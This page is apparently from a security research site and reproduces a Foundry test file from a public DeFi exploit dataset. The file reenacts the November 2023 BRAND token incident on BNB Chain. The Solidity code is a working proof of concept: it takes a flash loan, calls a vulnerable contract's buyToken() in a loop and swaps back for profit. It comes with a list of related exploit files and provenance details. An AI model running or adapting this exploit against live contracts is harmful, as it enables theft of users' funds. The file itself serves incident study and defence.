Public reproduction file
src/test/2023-11/BRAND_exp.sol
Public reproduction file for dataset entry BRAND.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6// @KeyInfo -- Total Lost : ~23 WBNB7// TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a348// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc5029// Attack Contract : https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b710// GUY : https://x.com/MetaSec_xyz/status/172003591300970947312contract Exploit is Test {13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);15 IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);16 IERC20 BRAND = IERC20(0x4d993ec7b44276615bB2F6F20361AB34FbF0ec49);17 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);18 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);19 address Vulncontract = 0x831d6F9AA6AF85CeAD4ccEc9B859c64421EEeFD4;21 function setUp() external {22 cheats.createSelectFork("bsc", 33_139_124);23 }25 function testExploit() external {26 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);27 DPP.flashLoan(300 ether, 0, address(this), abi.encode(3));28 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);29 }31 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {32 swap_token_to_token(address(WBNB), address(BRAND), 300 ether);33 uint256 i = 0;34 while (i < 100) {35 address(Vulncontract).call(abi.encodeWithSignature("buyToken()"));36 i++;37 }38 swap_token_to_token(address(BRAND), address(WBNB), BRAND.balanceOf(address(this)));39 WBNB.transfer(msg.sender, baseAmount);40 }42 function swap_token_to_token(address a, address b, uint256 amount) internal {43 IERC20(a).approve(address(Router), amount);44 address[] memory path = new address[](2);45 path[0] = address(a);46 path[1] = address(b);47 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);48 }49}Analysis
Dataset entry
Public Foundry test for “BRAND” (2023-11-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
- Attack Contract
0xf994f331409327425098feecfc15db7fabf782b7
File record
- Name
- BRAND
- Path
- src/test/2023-11/BRAND_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4f428151e8c92c2d7c59e1205ee318623be0e433
- Language
- Solidity
- Size
- 50 lines
- Date
- 2023-11-02
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/BRAND_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4f428151e8c92c2d7c59e1205ee318623be0e433, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.